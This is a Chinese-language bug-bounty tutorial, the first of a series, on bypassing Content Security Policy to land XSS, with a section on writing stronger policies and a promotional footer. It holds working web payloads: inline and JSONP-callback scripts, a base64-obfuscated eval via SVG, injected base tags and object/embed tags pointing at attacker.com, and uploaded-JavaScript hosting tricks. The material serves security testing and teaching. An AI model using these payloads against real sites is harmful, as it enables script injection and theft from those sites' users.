漏洞猎手的CSP绕过指南（第一部分）
你找到了完美的XSS向量。精心构造好载荷，按下回车，然后……什么也没发生。控制台只闪过一条刺眼的红色错误信息：
“拒绝执行内联脚本，因为它违反了以下内容安全策略……”
游戏结束了吗？远非如此。
对于漏洞猎人来说，这正是事情变得有趣的时候。那条错误信息不是一堵墙——它几乎就是一张邀请函。内容安全策略只是一套浏览器遵循的规则。而规则？它们总有漏洞。
以下是通常发生的情况：开发人员贴上一条基础的CSP，在安全审计清单上打个勾，然后高枕无忧，认为他们已经永远消灭了XSS。与此同时，我在实际环境中看到的大多数CSP，其安全性堪比潜艇上的纱窗门。
这是关于CSP绕过的综合系列文章的第一部分。我们将从基础开始——那些在漏洞赏金计划中你会遇到的70-80%的CSP上都起效的常见配置错误和基础技术。这些都是唾手可得的成果，但仍然能带来丰厚的赏金，因为太多开发人员都会犯这些错误。
读完本指南，你将确切知道如何发现脆弱的CSP配置并将其转化为可用的漏洞利用。
安全的幻象：为什么大多数CSP会失效
把CSP想象成夜店门口的保镖。他们的工作是检查身份证——确保只有经过批准的脚本、图片和样式表能够入场。理论上听起来很棒。问题在于？大多数网站给他们的保镖一份世界上最糟糕的宾客名单。
以下这些配置错误，基本上等同于告诉保镖对所有人都放行。
‘unsafe-inline’ 灾难
这是CSP错误中的核选项。如果你在 script-src 指令中看到 'unsafe-inline'，直接收工吧——你已经赢了。它直接允许内联的 <script> 块和像 onclick 这样的事件处理器。基本上，它关掉了CSP本应完成的主要功能。
脆弱的策略：
Content-Security-Policy: script-src 'self' 'unsafe-inline';
绕过方式：
<script>alert('CSP Bypass')</script>
是的，就是这么简单。
实际影响：
我在从小型SaaS应用到大型电商平台的各类产品中都发现过这种配置错误。这通常发生在开发人员需要快速让内联脚本工作，并选择了最小阻力的路径时。我提交的一份关于此问题的报告获得了2500美元的赏金——而这本质上只是一个30秒的检查。
过度信任的通配符 (*)
信任整个域名的策略无处不在。你会看到类似 script-src: *.google.com 或 *.cloudflare.com 的内容。背后的想法是：“这是谷歌，对吧？能出什么问题呢？”
事实证明，问题很多。这为来自Google任何子域的脚本敞开了大门，从而产生了诸如以下的突破口：
- JSONP端点： 白名单域名上有大量API的JSONP回调可以被滥用来执行任意JavaScript。
- 老旧的AngularJS库： 如果白名单域名上托管了存在漏洞的AngularJS版本，你就有了一个沙箱逃逸的途径。
- 文件上传： 如果该受信域名的任何角落允许上传
.js文件，你就走运了。
速胜示例：
策略： script-src 'self' *.google.com
绕过： <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
之所以有效，是因为Google的OAuth端点有一个JSONP回调参数，它会反射你的输入。我们将在第二部分更深入地探讨JSONP利用。
别忘了 ‘unsafe-eval’
这个更隐蔽。'unsafe-eval' 允许像 eval()、setTimeout() 和 setInterval() 这样的函数使用字符串参数运行。许多旧库需要这个才能工作，因此开发人员为了兼容性而包含它。就这样，你又多了一个入口。
示例：
策略： script-src 'self' 'unsafe-eval'
绕过： <svg><animate onbegin=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))>
base64字符串解码为 alert(document.domain)。如果你能注入HTML并且策略有 unsafe-eval，你就可以执行代码。
我审计CSP的方法论
当我遇到CSP时，我不会放弃——我会变得系统化。以下是我每次都会做的步骤。
步骤 1：真正阅读策略
听起来显而易见，但大多数人跳过了这一步。当你看到CSP错误时，打开浏览器的开发者工具。转到网络（Network）标签页，点击文档请求，找到 Content-Security-Policy 头。将整个内容复制到文本编辑器中。
现在查看每个指令。script-src、object-src 和 base-uri 允许了什么？这些是你的主要攻击向量。
专业提示： 使用像Google的 CSP评估器 这样的工具来快速识别明显问题。但别停在那里——手动分析才是你发现有趣绕过方法的地方。
步骤 2：寻找白名单金矿
你的主要关注点应该是 script-src 指令。那里列出的每个域名都是一个潜在的金矿。你的工作不是直接击败CSP——而是让那些受信任的域名之一为你提供恶意的JavaScript。
假设你发现 script-src: 'self' cdn.trusted-company.com。你的下一步是什么？将你的攻击转向 cdn.trusted-company.com。寻找：
- 你可以串联在一起的开源重定向
- 反射用户输入的JSONP端点
- 托管的存在漏洞的过时JavaScript库
- 任何将你的输入反射回给你的地方
我的搜寻流程：
- 列出所有白名单域名
- 检查每个域名是否有JSONP端点（使用常见路径如
/api/、/jsonp、/callback） - 寻找文件上传功能
- 搜索开源重定向
- 检查旧库版本（AngularJS < 1.6, jQuery < 3.0）
步骤 3：测试文件上传端点
这是经典且极其有效的方法。如果应用程序允许你上传文件，并且这些文件是从白名单域名（如S3存储桶或CDN）提供的，那么CSP将会信任它。
流程：
- 找到文件上传功能
- 上传一个包含你载荷的
.js文件 - 记下它被托管的URL
- 检查该域名是否在
script-src的白名单中 - 注入：
<script src="https://whitelisted-domain.com/uploads/your-file.js"></script>
真实示例：
我曾经发现一个应用的策略是 script-src: 'self' cdn.example.com。这个CDN实际上是他们存储用户头像的S3存储桶。我上传了一个伪装成图片的JavaScript文件，获取了直接的S3 URL，并将其作为脚本加载。就这样——3000美元赏金到手。
步骤 4：base-uri 盲点
这是我最喜欢的方法之一，因为它经常被忽视。如果CSP缺少 base-uri 指令，你可以注入一个 <base> 标签来重定义页面上所有相对路径的基础URL。
如果页面这样加载脚本：
<script src="/js/app.js"></script>
你可以注入：
<base href="https://attacker.com/">
现在浏览器会尝试从 https://attacker.com/js/app.js 加载，完全绕过了 script-src。
如何测试：
- 检查CSP中是否存在
base-uri - 如果缺失，找到一个HTML注入点
- 注入：
<base href="https://your-server.com/"> - 页面将从你的域名加载相对资源
步骤 5：缺失的 object-src 指令
如果 object-src 没有被定义，你可以嵌入加载外部内容的对象。随着Flash的消亡，现在这种情况不那么常见了，但在某些上下文中仍然有效。
绕过示例：
<object data="https://attacker.com/malicious.swf"></object>
或用于基于PDF的XSS：
<embed src="https://attacker.com/xss.pdf">
常用JSONP端点测试
当你找到一个白名单域名时，以下是我首先检查JSONP回调的端点：
Google域名：
https://accounts.google.com/o/oauth2/revoke?callback=alert
https://www.google.com/complete/search?client=chrome&q=a&jsonp=alert
其他常见CDN：
https://cdnjs.cloudflare.com/ajax/libs/[library]/[version]/[file].js
https://ajax.googleapis.com/ajax/libs/angularjs/[version]/angular.js
测试过程：
- 用你的载荷替换回调参数
- 测试变体：
callback=、jsonp=、cb=、function= - 检查你的函数是否被执行
我们将在第二部分更详细地介绍JSONP利用，包括如何发现隐藏的JSONP端点并将它们与其他漏洞串联起来。
从破碎到坚固：一个良好的CSP是什么样的
在讨论了这么多破坏方法之后，让我们来谈谈如何正确地构建。一个良好的CSP默认锁定一切，只开放绝对必要的部分。
脆弱的CSP（易于绕过）：
Content-Security-Policy: script-src 'self' *.google.com 'unsafe-inline';
强大的CSP（难以绕过）：
Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-rAnd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'self'; require-trusted-types-for 'script';
为什么第二个好得多？
default-src 'none'默认拒绝一切- 使用随机数（nonce）处理特定的内联脚本，消除了
'unsafe-inline' 'strict-dynamic'允许受信任的脚本加载其他脚本，而无需白名单域名object-src 'none'阻止对象/嵌入攻击base-uri 'self'防止base标签劫持require-trusted-types-for 'script'启用可信类型（我们将在第三部分讨论）
注意： 即使是“强大的”CSP也可能通过高级技术被绕过，比如nonce泄露、DOM干扰和突变XSS——但这些是第二和第三部分的主题。
你的CSP测试清单
在你离开一个目标之前，快速检查一下这个清单：
真实世界绕过示例
让我分享几个来自真实漏洞赏金计划的速胜案例：
示例 1：电商平台
策略： script-src 'self' 'unsafe-inline' *.cloudflare.com
绕过： 简单的内联脚本
赏金： 2500美元
示例 2：SaaS应用
策略： script-src 'self' cdn.example.com
绕过： 通过个人资料图片上传向CDN上传了.js文件
赏金： 3000美元
示例 3：金融服务
策略： script-src 'self' *.google.com（无 base-uri）
绕过： Base标签注入，重定向所有脚本
赏金： 5000美元
示例 4：社交媒体平台
策略： script-src 'self' ajax.googleapis.com
绕过： 加载带有沙箱逃逸载荷的AngularJS 1.5.8
赏金： 4500美元
这些都是基本原理，但它们仍然有效——而且仍然有赏金。
这是一个谜题，而非监狱
一个CSP头并不意味着“没有XSS”。它意味着“带额外步骤的XSS”。
下次当你测试一个应用，控制台抛出CSP错误时，不要关闭标签页。保持好奇。逐行阅读策略。检查我们在这里讨论过的配置错误。大多数情况下，你会找到一条通路。
这仅仅是开始。在第一部分中，我们涵盖了基本原理——那些构成你在实际环境中发现的大部分绕过方法的常见错误。
第二部分即将到来：
我们将深入探讨适用于更严格策略的中级技术：
- 高级nonce利用与泄露策略
- 深入探讨AngularJS沙箱逃逸
- JSONP端点发现与利用
- 悬空标记注入用于数据泄露
- 服务工作线程（Service Worker）滥用
- 来自1万美元以上漏洞赏金报告的真实绕过链
在第三部分中：
我们将进入研究级技术：
- DOM干扰以绕过CSP检查
- 通过净化器绕过实现的突变XSS
- 导致CSP绕用的原型污染
- 无脚本攻击和代码重用技术
- 浏览器特定的怪癖和边缘情况
在那之前，祝狩猎愉快。那个CSP错误只是一段有趣旅程的开始。
CSD0tFqvECLokhw9aBeRqopJDR93OU7WxHE+knUD6TPUXuSTN0on1Hs3EglJYs++DbECEXsQS9lRjcMeWGZ6efkr5inm/ulQTx6GXwMzVBl8iWnw4pCeE/uJGGyxzeQY
更多精彩内容 请关注我的个人公众号 公众号（办公AI智能小助手）
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号（网络安全技术点滴分享）
公众号二维码
公众号二维码
